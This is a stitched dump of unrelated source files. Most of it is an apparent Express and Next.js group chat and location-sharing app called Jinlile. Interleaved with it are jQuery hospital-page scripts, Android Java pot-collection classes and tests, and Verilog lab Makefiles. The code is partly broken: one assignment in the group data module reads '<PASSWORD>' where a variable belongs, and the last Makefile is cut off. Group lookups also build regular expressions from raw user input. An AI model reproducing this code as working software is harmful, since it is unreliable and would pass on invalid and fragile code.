res.status(400).send({ msg: 'missing user in req.session' });
}
try{
const updatedUser = await userData.updateUserNameById(user._id,newName);
req.session.user = {
...updatedUser,
loggedIn: true
}
res.send({ msg: 'sent', user: updatedUser });
}catch(e){
console.log(e)
res.sendStatus(500);
}
})
router.post('/dismissGroup', async (req,res) =>{
console.log("we hit dismiss router");
const groupInfo = req.body;
let {groupId} = groupInfo;
const user = req.session.user;
if (!groupId) {
res.status(400).send({ msg: 'missing groupId' });
}
if(!user){
res.status(400).send({ msg: 'missing user in req.session' });
}
try{
const updatedUser = await userData.deleteGroupFromUserByGidAndUid(user._id,groupId);
console.log(updatedUser);
const updatedGroup = await groupData.deleteUserFromGroupByGidAndUid(user._id,groupId);
console.log(updatedGroup);
req.session.user = {
...updatedUser,
loggedIn: true
}
res.send({ msg: 'sent', user: updatedUser, group: updatedGroup });
}catch(e){
console.log(e)
res.sendStatus(500);
}
})
router.post('/groups/:groupName', async (req, res, next) => {
let { groupName } = req.params
let { user } = req.session
let group = null
try {
group = await groupData.getByGroupName(groupName)
}
catch(e) {
console.log(e.message)
}
if (group == null) {
return res.status(404).send({ msg: 'group not found' })
}
let exists = await userData.existsInGroup(user._id, group._id)
if (exists == false) {
await Promise.all([
userData.addGroupToUser(user.name, group._id, groupName),
groupData.addUserToGroup(groupName, user._id, user.name)
])
}
return res.send({ msg: 'ok', group: { groupId: group._id, groupName: groupName } })
})
router.get('/authenticated', (req, res, next) => {
res.send({ msg: true })
})
router.get("/:id", async (req, res) => {
try {
const user = await userData.getById(req.params.id, { email_code: 0, email: 0 });
res.json(user);
} catch (e) {
res.status(404).json({ message: "not found!" });
}
});
router.get("/", async (req, res) => {
try {
const user = await userData.getById(req.session.user._id, { email_code: 0, email: 0 });
res.json(user);
} catch (e) {
res.status(404).json({ message: "not found!" });
}
});
router.get('/group/:groupId/positions', async (req, res, next) => {
let group = null
try {
group = await groupData.getById(req.params.groupId)
}
catch(e) {
res.status(500).send({ msg: 'internal server error' })
console.log(e)
}
if (group == null) {
return res.status(404).send({ msg: 'group not found' })
}
let userIds = group.users.map(user => user.userId)
let positions = await redis.geoposAsync('jinlile:positions', ...userIds)
let result = group.users.map((user, i) => (
{
...user,
lng: positions[i] ? positions[i][0] : null,
lat: positions[i] ? positions[i][1] : null,
}
))
res.send(result)
})
router.put('/position', async (req, res, next) => {
let { lng, lat } = req.body
let { user } = req.session
if (!lng || !lat) {
return res.status(400).send({ msg: 'missing longitude and latitude'})
}
redis.geoaddAsync('jinlile:positions', lng, lat, user._id)
res.send({ msg: 'ok' })
})
async function mailCode({ email, code }) {
let info = await mailer.sendMail({
from: '"Jinlile Team" <<EMAIL>>',
to: email,
subject: `Your Login Code is ${code}`,
text: `Thank you for using Jinlile. Your login code is ${code}`
})
console.log('message sent')
}
module.exports = router;<file_sep>import React from 'react'
import Layout from '../components/layout'
import ListGroup from 'react-bootstrap/ListGroup'
import { Button, Container, Alert } from 'react-bootstrap'
import { withRouter } from "next/router";
import axios from "axios";
import socketWrapper from '../components/socketio/socketHOC';
import { FaAngleLeft } from "react-icons/fa";
import Link from 'next/link';
//import withAuthentication from '../components/withAuthentication'
class Setting extends React.Component{
constructor(props) {
super(props)
this.state = {
groupId: undefined,
groupName: undefined,
userName: undefined,
alert: {
show: false,
content: '',
}
}
}
async componentDidMount() {
const group = JSON.parse(window.localStorage.getItem('group'));
const userName = window.localStorage.getItem('userName');
this.setState({
...this.state,
groupId: group.groupId,
groupName: group.groupName,
userName: userName
})
}
async changeUserName() {
let newName = window.prompt('Enter your new user name:')
if (newName == null) {
return
}
if (newName == '') {
return this.setState({
alert: {
show: true,
content: 'User name cannot be empty.',
}
})
}
try {
// let params = {newName:newName};
// let {data} = await axios.put('/users/userName', params);
let params = { newName:newName };
let { data } = await axios.post(`/users/userName`, params);
//console.log(data);
// console.log('before change name', data)
if(data.user){
let newUser = JSON.parse(window.localStorage.getItem('user'))
newUser.name = data.user.name
window.localStorage.setItem('user', JSON.stringify(newUser));
window.localStorage.setItem('userName', data.user.name);
this.setState({
userName:data.user.name,
alert: {
show: true,
content: data.msg
}
})
}
else{
console.log('wrong branch')
this.setState({
alert: {
show: true,
content: data.msg
}
})
}
}catch(e) {
console.log(e)
this.setState({
alert: {
show: true,
content: e.message
}
})
}
}
async dismissGroup() {
try {
// let params = {newName:newName};
// let {data} = await axios.put('/users/userName', params);
this.props.onLeave()
let params = { groupId: this.state.groupId };
let { data } = await axios.post(`/users/dismissGroup`, params);
//console.log(data);
if(data.user && data.group){
console.log("success dismiss group");
this.props.router.replace('/groups')
}
else{
this.setState({
alert: {
show: true,
content: data.msg
}
})
}
}
catch(e) {
console.log(e)
this.setState({
alert: {
show: true,
content: e.message
}
})
}
}
handleLogToOtherGroup() {
this.props.onLeave()
this.props.router.replace('/groups')
}
async handleLogOut() {
console.log('on setting logout')
this.props.onLogOut()
await axios.post(`/users/logout`);
localStorage.clear();
this.props.router.replace('/login')
window.location.replace('/login')
console.log('finish logout')
}
sideIconLeft() {
return (
<a onClick={() => window.history.back()}>
<FaAngleLeft color="#007bff" size="1.5rem" className="flex-grow-0" />
</a>
)
}
render() {
return (
<Layout title={"Setting"} sideIconLeft={this.sideIconLeft}>
<Container>
<div>
<ListGroup className="mt-4" variant="flush">
<ListGroup.Item
as="div"
action={true}
key={"groupName"}
>
<p>Group Name: {this.state.groupName}</p>
</ListGroup.Item>
<ListGroup.Item
as="div"
action={true}
key={"userName"}
>
<p>User Name: {this.state.userName}</p>
<Button onClick={() => this.changeUserName()} variant="dark" size="sm" className="btn-block">Change User Name</Button>
</ListGroup.Item>
<ListGroup.Item
as="div"
action={true}
key={"logToOtherGroup"}
onClick={this.handleLogToOtherGroup.bind(this)}
>
<p>Log to other group</p>
</ListGroup.Item>
<ListGroup.Item
as="div"
action={true}
key={"dismissGroup"}
onClick={this.dismissGroup.bind(this)}
>
<p>Dismiss Group</p>
</ListGroup.Item>
</ListGroup>
</div>
<div className="mt-5">
<Button onClick={this.handleLogOut.bind(this)} variant="dark" size="lg" className="btn-block">Logout</Button>
</div>
</Container>
</Layout>
)
}
}
export default socketWrapper(withRouter(Setting))<file_sep>function makeHandleEvent(client, clientManager, chatroomManager) {
function ensureExists(getter, rejectionMessage) {
return new Promise(function (resolve, reject) {
const res = getter()
return res
? resolve(res)
: reject(rejectionMessage)
})
}
function ensureUserSelected(clientId) {
return ensureExists(
() => clientManager.getUserByClientId(clientId),
'select user first'
)
}
function ensureValidChatroom(chatroomId) {
return ensureExists(
() => chatroomManager.getChatroomById(chatroomId),
`invalid chatroom id: ${chatroomId}`
)
}
function ensureValidChatroomAndUserSelected(chatroomId) {
return Promise.all([
ensureValidChatroom(chatroomId),
ensureUserSelected(client.id)
])
.then(([chatroom, user]) => Promise.resolve({ chatroom, user }))
}
function handleEvent(chatroomId, createEntry) {
return ensureValidChatroomAndUserSelected(chatroomId)
.then(function ({ chatroom, user }) {
// append event to chat history
const entry = { user, ...createEntry() }
chatroom.addEntry(entry)
console.log('entry added...', chatroomId)
// notify other clients in chatroom
chatroom.broadcastMessage({ chat: chatroomId, ...entry })
return chatroom
})
}
return handleEvent
}
module.exports = function (client, clientManager, chatroomManager) {
const handleEvent = makeHandleEvent(client, clientManager, chatroomManager)
function handleRegister(userId, callback) {
if (!clientManager.isUserAvailable(userId))
return callback('user is not available')
const user = clientManager.getUserById(userId)
clientManager.registerClient(client, user)
return callback(null, user)
}
function handleJoin(chatroomId, callback) {
chatroomManager.getChatroomById(chatroomId)
// chatroomManager.addRoom(chatroomId)
const createEntry = () => ({ event: `joined ${chatroomId}` })
handleEvent(chatroomId, createEntry)
.then(function (chatroom) {
// add member to chatroom
chatroom.addUser(client)
// send chat history to client
callback(null, chatroom.getChatHistory())
})
.catch(callback)
}
function handleLeave(chatroomId, callback) {
console.log('leave room', chatroomId)
const createEntry = () => ({ event: `left ${chatroomId}` })
handleEvent(chatroomId, createEntry)
.then(function (chatroom) {
// remove member from chatroom
console.log('removed client',client.id)
chatroom.removeUser(client.id)
callback(null)
})
.catch(callback)
}
function handleMessage({ chatroomId, message } = {}, callback) {
console.log("handle messages", chatroomId)
const createEntry = () => ({ message })
// ecfa6afe-4e1e-43f9-9e16-d5c2d0823006
handleEvent(chatroomId, createEntry)
.then(() => callback(null))
.catch(callback)
}
function handleGetChatrooms(_, callback) {
return callback(null, chatroomManager.serializeChatrooms())
}
// function handleGetAvailableUsers(_, callback) {
// return callback(null, clientManager.getAvailableUsers())
// }
function handleDisconnect() {
// remove user profile
clientManager.removeClient(client)
// remove member from all chatrooms
chatroomManager.removeClient(client)
}
return {
handleRegister,
handleJoin,
handleLeave,
handleMessage,
handleGetChatrooms,
handleDisconnect
}
}
<file_sep>const data = require("../database/src");
const groups = data.groups;
const users = data.users;
module.exports = function ({ _id, image, messages }) {
const members = new Map()
let chatHistory = []
transferHistory(messages)
function transferHistory(messages){
chatHistory = []
for (let i=0; i<messages.length; i++){
chatHistory.push({
message: {
userId: messages[i].userId,
title: messages[i].userName,
position: 'left',
type: 'text',
text: messages[i].content,
date: messages[i].time
}
})
}
//console.log(chatHistory)
return chatHistory
}
function broadcastMessage(message) {
members.forEach(m => m.emit('message', message))
}
async function addEntry(entry) {
console.log('add entry')
// chatHistory = chatHistory.concat(entry)
if ('message' in entry){
let user = await users.getById(entry.user._id)
await groups.addMessageToGroupById(_id, user._id,
user.name, entry.message.text, entry.message.date)
}
let group = await groups.getById(_id)
transferHistory(group.messages)
// console.log(chatHistory)
}
function getChatHistory() {
//let group = await groups.getById(_id)
//transferHistory(group.messages)
return chatHistory.slice()
}
function addUser(client) {
members.set(client.id, client)
}
function removeUser(client) {
members.delete(client.id)
}
function serialize() {
return {
_id,
image,
numMembers: members.size
}
}
return {
broadcastMessage,
addEntry,
getChatHistory,
addUser,
removeUser,
serialize
}
}
<file_sep>const Chatroom = require('./chatroom')
const data = require("../database/src");
// const users = data.users;
const groups = data.groups;
module.exports = function () {
// mapping of all available chatrooms
const chatrooms = new Map()
// const chatrooms = new Map(
// chatroomTemplates.map(c => [
// c.name,
// Chatroom(c)
// ])
// )
async function addRoom(chatroomId) {
let group = await groups.getById(chatroomId)
console.log('add room', chatroomId)
if (chatrooms.get(group._id) === undefined){
chatrooms.set(group._id, Chatroom(group))
}
//console.log(chatrooms)
}
function removeClient(client) {
chatrooms.forEach(c => c.removeUser(client))
}
async function getChatroomById(chatroomId) {
await addRoom(chatroomId)
//return await groups.getByGroupName(chatroomName)
return chatrooms.get(chatroomId)
}
function getAllChatrooms() {
return chatrooms.values()
}
function serializeChatrooms() {
return Array.from(chatrooms.values()).map(c => c.serialize())
}
return {
addRoom,
removeClient,
getChatroomById,
getAllChatrooms,
serializeChatrooms
}
}
<file_sep>import React from 'react'
import Link from 'next/link'
import Layout from '../components/layout'
import { FaAngleLeft, FaBars } from "react-icons/fa";
import { MessageBox, Input, Button } from 'react-chat-elements'
import Icon from '../components/icon'
import { FaPaperPlane } from 'react-icons/fa'
import { Container } from 'react-bootstrap'
import withAuthentication from '../components/withAuthentication'
import socketWrapper from '../components/socketio/socketHOC'
class Chat extends React.Component {
constructor(props) {
super(props)
this.state = {
groupName: '',
messages: []
}
}
sideIconLeft() {
return (
<Link href="/map">
<a><FaAngleLeft color="#007bff" size="1.5rem" className="flex-grow-0" /></a>
</Link>
)
}
sideIconRight() {
return (
<Link href="/setting">
<FaBars size="1.5rem" color="#007bff" />
</Link>
)
}
componentDidUpdate(prevProps) {
console.log('chat components did update')
if (this.props.chatHistory !== prevProps.chatHistory) {
let chatHistory = this.props.chatHistory
this.setState({messages: chatHistory},
()=>{
this.scrollDown()
})
}
}
componentDidMount() {
this.scrollDown()
}
messageList() {
let list = []
let user = JSON.parse(localStorage.getItem('user'))
//let { messages } = this.state
let messages = this.props.chatHistory
for (let i = 0; i < messages.length; i ++) {
let msg = JSON.parse(JSON.stringify(messages[i]))
if(msg.userId === user._id){
msg.position = 'right'
}else{
msg.position = 'left'
}
if (msg.type == 'emergency'){
msg.type = 'text'
}
msg.text = msg.text.split('<br/>\n').map((item, i) => {
return <p key={i}>{item}</p>;
});
msg.date = new Date(msg.date)
list.push(
<div className={`d-flex mb-4 ${msg.position}-box`} key={`msg-${i}`}>
<Icon className={msg.position} name={msg.title} style={{ width: '28px', height: '28px', flexShrink: 0 }} />
<MessageBox
className="flex-grow-1 flex-shrink-1 message-box"
width="100"
{...msg}
/>
</div>
)
}
return list
}
scrollDown(){
this.refs.chatBody.scrollTo({
top: this.refs.chatBody.scrollHeight,
left: 0,
behavior: 'smooth'
})
}
addMessage(msg) {
this.props.onSendMessage(msg, (err) => {
console.log('in chat add Message')
console.log(msg)
return null
})
}
sendMessage() {
let user=JSON.parse(localStorage.getItem('user'))
let textAreaArr = this.refs.input.input
this.addMessage({
userId: user._id,
title: user.name,
position: "right",
type: "text",
text: textAreaArr.value,
date: new Date()
})
this.refs.input.clear()
}
render() {
let group = JSON.parse(localStorage.getItem('group'))
return (
<Layout title={group.groupName} sideIconLeft={this.sideIconLeft} sideIconRight={this.sideIconRight}>
<Container fluid={true} className="d-flex flex-column flex-grow-1 flex-shrink-0" style={{height: '0 !important', overflow: 'hidden'}}>
<div ref="chatBody" className="chat-body mt-3 flex-grow-1 flex-shrink-0">
{this.messageList()}
</div>
<div className="input-box flex-shrink-1 mb-3">
<Input
ref='input'
placeholder="Enter message here..."
multiline={true}
inputStyle={{ backgroundColor: '#eee' }}
rightButtons={
<Button
onClick={this.sendMessage.bind(this)}
text={<FaPaperPlane style={{width: '60px'}}/>}
></Button>
}
/>
</div>
</Container>
<style>{`
.message-box {
position: relative;
top: 10px;
max-width: 60%;
}
.right {
order: 1;
}
.right-box {
justify-content: flex-end;
}
.chat-body {
height: 0 !important;
overflow-y: auto;
}
.input-box {
// width: 100%;
// bottom: 0;
// position: fixed;
// left: 0;
padding: 0 0.5rem 0 0.5rem;
}
`}</style>
</Layout>
)
}
}
export default withAuthentication(socketWrapper(Chat))<file_sep>import React, { useEffect, useState } from 'react'
import { Spinner } from 'react-bootstrap'
import { useRouter } from 'next/router'
import axios from 'axios'
function withAuthentication(WrappedComponent) {
return props => {
const router = useRouter()
const [auth, setAuth] = useState(null)
useEffect(() => {
axios.get('/users/authenticated').then(() => {
setAuth(true)
})
.catch(() => {
setAuth(false)
})
})
if (auth == false) {
router.replace('/')
}
if (auth !== true) {
return (
<div style={{left: 0, top: 0}} className="d-flex h-100 w-100 align-items-center position-fixed justify-content-center">
<Spinner className="" animation="border" />
</div>
)
}
return (
<WrappedComponent {...props} />
)
}
}
export default withAuthentication<file_sep>// import event from './index'
// const interval = 6000
// export function getCurrentPosition() {
// return new Promise((resolve, reject) => {
// navigator.geolocation.getCurrentPosition(position => {
// resolve({
// lat: position.coords.latitude,
// lng: position.coords.longitude
// })
// }, err => {
// console.log(err)
// reject(err)
// })
// })
// }
// let intervalId = null
// async function emitPositionEvent() {
// try {
// let position = await getCurrentPosition()
// event.emit('position', position)
// return position
// }
// catch(e) {
// event.emit('error', e)
// }
// }
// export async function start() {
// await emitPositionEvent()
// if (intervalId != null) return intervalId
// intervalId = setInterval(async () => {
// await emitPositionEvent()
// }, interval)
// return intervalId
// }
// export function stop() {
// if (intervalId != null) {
// clearInterval(intervalId)
// }
// return intervalId
// }
// export default { start, stop, getCurrentPosition }
<file_sep>// const userTemplates = require('./config/users')
const data = require("../database/src");
const users = data.users;
// const groups = data.groups;
module.exports = function () {
// mapping of all connected clients
const clients = new Map()
function addClient(client) {
clients.set(client.id, { client })
}
function registerClient(client, user) {
clients.set(client.id, { client, user })
}
function removeClient(client) {
clients.delete(client.id)
}
// function getAvailableUsers() {
// const usersTaken = new Set(
// Array.from(clients.values())
// .filter(c => c.user)
// .map(c => c.user._id)
// )
// return userTemplates
// .filter(u => !usersTaken.has(u._id))
// }
function isUserAvailable(userId) {
const usersTaken = new Set(
Array.from(clients.values())
.filter(c => c.user)
.map(c => c.user._id)
)
return !usersTaken.has(userId)
// return getAvailableUsers().some(u => u.name === userName)
}
async function getUserById(userId) {
// return await users.getByUserName(userName)
return await users.getById(userId)
// return userTemplates.find(u => u.name === userName)
}
function getUserByClientId(clientId) {
return (clients.get(clientId) || {}).user
}
return {
addClient,
registerClient,
removeClient,
isUserAvailable,
getUserById,
getUserByClientId
}
}
<file_sep>const mongoCollections = require('./mongoCollections');
const groups = mongoCollections.groups;
const uuid = require('node-uuid');
const getById = async (id) => {
if(!id) throw "You must provide an id"
let groupCollection = await groups()
let result = await groupCollection.findOne({ _id: id })
return result
};
const create = async (name, users=[], messages=[]) => {
//console.log("create a group");
if(!name || typeof(name)!=="string") throw "You must provide a name"
let groupCollection = await groups()
let id = uuid.v4()
await groupCollection.insertOne({
_id: id,
name,
users,
messages
})
return await getById(id);
};
const removeById = async (id) =>{
return (await groups()).deleteOne({ _id: id })
};
const getByGroupName = async(groupName) => {
if (!groupName) throw "You must provide a groupName to search for";
const groupCollection = await groups();
const groupGo = await groupCollection.findOne({name: { $regex : new RegExp(groupName, "i") } });
if (groupGo === null) throw "No group with that name";
return groupGo;
};
const getByGroupId = async(groupId) => {
if (!groupId) throw "You must provide a groupId to search for";
const groupCollection = await groups();
const groupGo = await groupCollection.findOne({_id: groupId});
if (groupGo === null) throw "No group with that name";
return groupGo;
};
const addUserToGroup = async (groupName,userId,userName) =>{
if (!groupName) throw "You must provide a groupName to search for";
if (!userId) throw "You must provide a userId to search for";
if (!userName) throw "You must provide a userName to search for";
const groupCollection = await groups();
const targetGroup = await getByGroupName(groupName);
let userList = targetGroup.users;
userList.push({userId,userName});
await groupCollection.updateOne({name: { $regex : new RegExp(groupName, "i") }},{$set: { "users": userList }});
return await getByGroupName(groupName);
}
const addMessageToGroup = async(groupName,userId,userName,content,time) => {
if (!groupName) throw "You must provide a groupName to search for";
if (!content) throw "You must provide a content to search for";
if (!userName) throw "You must provide a userName to search for";
if (!userId) throw "You must provide a userId to search for";
if (!time) throw "You must provide a time to search for";
const groupCollection = await groups();
const targetGroup = await getByGroupName(groupName);
let userList = targetGroup.users;
//let bool = userList.includes({userId,userName});
//let bool = userList.filter(userList => (userList.userName === userName));
var found = false;
for(var i = 0; i < userList.length; i++) {
if (userList[i].userName == userName) {
found = true;
break;
}
}
//console.log(found);
if(!found){
//console.log("userName is not in list");
throw "The input user is not in the group's userList";
}
let messageList = targetGroup.messages;
messageList.push({userId,userName,content,time});
await groupCollection.updateOne({name: { $regex : new RegExp(groupName, "i") }},{$set: { "messages": messageList }});
return await getByGroupName(groupName);
}
const addMessageToGroupById = async(groupId, userId, userName, content, time) => {
if (!groupId) throw "You must provide a groupId to search for";
if (!content) throw "You must provide a content to search for";
if (!userName) throw "You must provide a userName to search for";
if (!userId) throw "You must provide a userId to search for";
if (!time) throw "You must provide a time to search for";
const groupCollection = await groups();
const targetGroup = await getByGroupId(groupId);
let userList = targetGroup.users;
//let bool = userList.includes({userId,userName});
//let bool = userList.filter(userList => (userList.userName === userName));
var found = false;
for(var i = 0; i < userList.length; i++) {
if (userList[i].userId == userId) {
found = true;
break;
}
}
//console.log(found);
if(!found){
//console.log("userName is not in list");
throw "The input user is not in the group's userList";
}
let messageList = targetGroup.messages;
messageList.push({userId,userName,content,time});
await groupCollection.updateOne({_id: groupId},{$set: { "messages": messageList }});
return await getByGroupId(groupId);
}
const getMessageFromGroupName = async(groupName) => {
if (!groupName) throw "You must provide a groupName to search for";
//const groupCollection = await groups();
const targetGroup = await getByGroupName(groupName);
return targetGroup.messages;
}
const getMessageFromGroupId = async(groupId) => {
if (!groupId) throw "You must provide a groupId to search for";
//const groupCollection = await groups();
const targetGroup = await getById(groupId);
return targetGroup.messages;
}
const updateUserNameByUserId = async(groupId,userId,newName) => {
//update both groups list and message list
if (!groupId) throw "You must provide a groupId to search for";
if (!userId) throw "You must provide a userId to search for";
if (!newName) throw "You must provide a newName to search for";
let groupCollection = await groups();
const targetGroup = await groupCollection.findOne({_id:groupId});
let userList = targetGroup.users;
for(let i = 0; i<userList.length;i++){
if(userList[i].userId == userId){
userList[i].userName = newName;
}
}
let messageList = targetGroup.messages;
for(let i = 0; i<messageList.length; i++){
if(messageList[i].userId == userId){
messageList[i].userName = <PASSWORD>;
}
}
await groupCollection.updateOne({_id: groupId},{$set: { "messages": messageList, "users":userList }});
}
// let msg = getMessageFromGroupName("Group1");
// console.log(msg);
const deleteUserFromGroupByGidAndUid = async(userId, groupId) =>{
let groupCollection = await groups();
const targetGroup = await groupCollection.findOne({_id: groupId});
let users = targetGroup.users;
let updatedUsers = [];
for(let i = 0; i<users.length; i++){
if(users[i].userId!=userId){
updatedUsers.push(users[i]);
}
}
await groupCollection.updateOne({_id: groupId},{$set: {users: updatedUsers}});
return await groupCollection.findOne({_id: groupId});
}
module.exports = {
create,
getById,
removeById,
getByGroupName,
getByGroupId,
addUserToGroup,
addMessageToGroup,
addMessageToGroupById,
getMessageFromGroupName,
getMessageFromGroupId,
updateUserNameByUserId,
deleteUserFromGroupByGidAndUid
}<file_sep>import React from 'react'
import { withRouter } from 'next/router'
import Layout from '../components/layout'
import Spinner from 'react-bootstrap/Spinner'
import axios from 'axios'
class Index extends React.Component {
async componentDidMount() {
const router = this.props.router
let auth = await this.auth()
if (auth == false) {
router.replace('/login')
}
else {
router.replace('/groups')
}
}
async auth() {
try {
let { data } = await axios.get('/users/authenticated')
return data.msg
}
catch(e) {
return false
}
}
render() {
return (
<Layout>
<div id="spinner" className="d-flex justify-content-center align-items-center">
<Spinner className="" animation="border" />
</div>
<style jsx>{`
#spinner {
top: 0;
left: 0;
position: absolute;
height: 100%;
width: 100%;
}
`}</style>
</Layout>
)
}
}
export default withRouter(Index) | baa7973a2953d9d762f4821bf36c537e9210d4ed | [
"JavaScript",
"Markdown"
] | 29 | JavaScript | Lianghai-Yang/Jinlile | 033ccb742545b04d8f0ab8679a475f3f17b00449 | 9c482f9ec10f4a01e2275247c184b0545253a217 |
refs/heads/master | <file_sep>package sfu.timr.servingsizecalculator;
/**
* Store information about a single pot
*/
public class Pot {
private String name;
private int weightInG;
// Set member data based on parameters.
public Pot(String name, int weightInG) {
super();
this.name = name;
this.weightInG = weightInG;
}
// Return the weight
public int getWeightInG() {
return weightInG;
}
// Set the weight. Throws IllegalArgumentException if weight is less than 0.
public void setWeightInG(int weightInG) throws IllegalArgumentException {
if(weightInG < 0) {
throw new IllegalArgumentException("Weight must be greater than or equal to 0");
}
this.weightInG = weightInG;
}
// Return the name.
public String getName() {
return name;
}
// Set the name. Throws IllegalArgumentException if name is an empty string (length 0),
// or if name is a null-reference.
public void setName(String name) throws IllegalArgumentException {
if(name == null || name.isEmpty()) {
throw new IllegalArgumentException("Invalid Pot name");
}
this.name = name;
}
}<file_sep>package sfu.timr.servingsizecalculator;
import android.content.Context;
import android.content.SharedPreferences;
import android.view.LayoutInflater;
import android.view.View;
import android.view.ViewGroup;
import android.widget.ArrayAdapter;
import android.widget.TextView;
import org.w3c.dom.Text;
import java.util.ArrayList;
import java.util.List;
/**
* Class to manage a collection of pots.
*/
public class PotCollection {
private List<Pot> pots = new ArrayList<>();
public void addPot(Pot pot) {
pots.add(pot);
}
public void changePot(Pot pot, int indexOfPotEditing) {
validateIndexWithException(indexOfPotEditing);
pots.remove(indexOfPotEditing);
pots.add(indexOfPotEditing, pot);
}
public boolean removePot(Pot pot) {
return pots.remove(pot);
}
public int countPots() {
return pots.size();
}
public int getPotIndex(Pot pot) {
int index = pots.indexOf(pot);
return index;
}
public Pot getPot(int index) {
validateIndexWithException(index);
return pots.get(index);
}
public List<Pot> getPots() {
return this.pots;
}
// Useful for integrating with an ArrayAdapter
public String[] getPotDescriptions() {
String[] descriptions = new String[countPots()];
for (int i = 0; i < countPots(); i++) {
Pot pot = getPot(i);
descriptions[i] = pot.getName() + " - " + pot.getWeightInG() + "g";
}
return descriptions;
}
private void validateIndexWithException(int index) {
if (index < 0 || index >= countPots()) {
throw new IllegalArgumentException();
}
}
public ArrayAdapter<Pot> getArrayAdapter(Context context) {
PotListAdapter adapter = new PotListAdapter(context);
return adapter;
}
private class PotListAdapter extends ArrayAdapter<Pot> {
// Must pass in context e.g. MainActivity.this
PotListAdapter(Context context) {
super(context, R.layout.pot_item, pots);
}
@Override
public View getView(int position, View convertView, ViewGroup parent){
// Ensure we have a view (could have been passed a null)
View itemView = convertView;
if(itemView == null) {
itemView = LayoutInflater.from(getContext()).inflate(R.layout.pot_item, parent, false);
}
// Get the current pot
Pot currentPot = pots.get(position);
// Fill the TextView
TextView description = (TextView) itemView.findViewById(R.id.item_description);
description.setText(currentPot.getName() + " - " + currentPot.getWeightInG() + "g");
return itemView;
}
}
}<file_sep>package sfu.timr.servingsizecalculator;
import org.junit.Test;
import static org.junit.Assert.*;
public class PotTest {
private Pot testPot = new Pot("test", 555);
@Test
public void getWeightInG() throws Exception {
assertEquals(555, testPot.getWeightInG());
}
@Test
public void setWeightInG() throws Exception {
testPot.setWeightInG(215);
assertEquals(215, testPot.getWeightInG());
}
@Test
public void getName() throws Exception {
assertEquals("test", testPot.getName());
}
@Test
public void setName() throws Exception {
testPot.setName("ANOTHER NAME WITH SPACES AND SYMBOLS!");
assertEquals("ANOTHER NAME WITH SPACES AND SYMBOLS!", testPot.getName());
}
@Test (expected = IllegalArgumentException.class)
public void setNameToEmptyString() throws Exception {
testPot.setName("");
}
@Test (expected = IllegalArgumentException.class)
public void setNameToNull() throws Exception {
testPot.setName(null);
}
@Test (expected = IllegalArgumentException.class)
public void setWeightToNegativeNumber() throws Exception {
testPot.setWeightInG(-1);
}
} | 720c0f749aa8a5525bee9f08a091f7d653a07bf7 | [
"Java"
] | 3 | Java | timothyr/serving-size-calculator | 2980c329446a3bbb07e9108ee754ad31277fa53e | b5e92c970cb354ba95e4dae4dff9fbc2e0d9ea2d |
refs/heads/master | <file_sep>// JavaScript Document
$(function(){
"use strict";
$(".navbar-nav li").on("click",function(){
$(this).addClass("active").siblings().removeClass();
});
$(window).on("scroll",function(){
var sc=$(window).scrollTop();
console.log(sc);
//static
if(sc>=1612){
$(".clients-number h2").countTo({
from:0,
to:2053,
speed:3000,
refreshInterval: 50
});
$(".heart-number h2").countTo({
from:0,
to:2750,
speed:3000,
refreshInterval: 50
});
$(".faces-number h2").countTo({
from:0,
to:750,
speed:3000,
refreshInterval: 50
});
$(".years-number h2").countTo({
from:0,
to:50,
speed:3000,
refreshInterval: 50
});
}
// chat
if(sc>=834.4444580078125){
$(".chat").fadeIn(1000);
}
else{
$(".chat").fadeOut(1000);
}
});
$(".chat").on("click",function(){
$(this).hide();
$(".chat-forms").animate({
right:"0"
},2000);
});
$(".convers i").click(function(){
$(".chat-forms").animate({
right:"-555px"
},2000);
});
$(".name").on("blur",function(){
if($(this).val().length<4){
$(".error").fadeIn();
}else{
$(".error").hide();
}
});
$(".mobile").on("blur",function(){
if($(this).val().length===11){
$(".error-pone").hide();
}else{
$(".error-pone").fadeIn();
}
});
});<file_sep>// JavaScript Document
$ (function(){
"use strict";
$(window).on("scroll",function(){
var sc=$(this).scrollTop();
console.log(sc);
if(sc>=333){
$(".chat").show(2000);
}
});
$(".chat").on("click",function(){
$(".chat").fadeOut();
$(".chat-forms").animate({
right:"0"
},2000);
});
$(".convers i").click(function(){
$(".chat-forms").animate({
right:"-555px"
},2000);
});
}); | 7645e62461bf1edfe663548dbf7cedc86eeb5c32 | [
"JavaScript"
] | 2 | JavaScript | engbishoy/hospital-template | 28ac0fa092816ce2ca31334ef24ce9b9583a50ac | e11d681343b16a62de59c1248b5b78d56a6cccc7 |
refs/heads/master | <repo_name>jackxu1993-github/verilog_labs<file_sep>/linebuffer/syn/Makefile
clean:
rm -rf *.log *.svf *.pvl *.syn *.mr *.v *.sdf *Synth *.ddc WORK
run:
dc_shell -gui -f syn.tcl | tee -i syn.log
run_mcp:
dc_shell -gui -f syn_mcp.tcl | tee -i syn_mcp.log
run_mcp_top:
dc_shell -gui -f syn_mcp_top.tcl | tee -i syn_mcp_top.log
<file_sep>/clock_switch/answer/sim/Makefile
.PHONY: com sim cov clean debug
#OUTPUT = apb2apb_async
OUTPUT = gfree3
ALL_DEFINE = +define+DUMP_VPD
# Code coverage command
CM = -cm line+cond+fsm+branch+tgl
CM_NAME = -cm_name $(OUTPUT)
CM_DIR = -cm_dir ./$(OUTPUT).vdb
# vpd file name
VPD_NAME = +vpdfile+$(OUTPUT).vpd
# Compile command
#VCS = vcs +v2k -timescale=1ns/1ns
VCS = vcs +v2k -override_timescale=1ns/100ps \
-full64 \
-fsdb \
-debug_all \
-sverilog \
+nospecify \
+vcs+flush+all \
$(CM) \
$(CM_NAME) \
$(CM_DIR) \
$(ALL_DEFINE) \
$(VPD_NAME) \
-o $(OUTPUT) \
-l compile.log
# simulation command
SIM = ./$(OUTPUT) \
+ntb_random_seed_automatic \
$(CM) $(CM_NAME) $(CM_DIR) \
$(VPD_NAME) \
$(ALL_DEFINE) \
-l $(OUTPUT).log
# start compile
com:
$(VCS) -f file_list.f
# Start simulation
sim:
$(SIM)
# RUN
run: com sim
# Show the coverage
cov:
dve -covdir *vdb &
debug:
dve -vpd $(OUTPUT).vpd &
ver_debug:
verdi -f file_list.f -ssf $(OUTPUT)_test.fsdb &
# Start clean
clean:
rm -rf ./csrc *.daidir ./csrc *.log *.vpd *.vdb simv* *.key *race.out* novas.* *.fsdb verdi* $(OUTPUT)
<file_sep>/seller_fsm/sim/Makefile
RTL = ./../rtl/seller_fsm.v
TB = ./../tb/seller_fsm_tb.v
TIME = ./../tb/timescale.v
run: compile simulate
compile:
vcs -sverilog -debug_all $(TIME) $(RTL) $(TB) -l com.log
simulate:
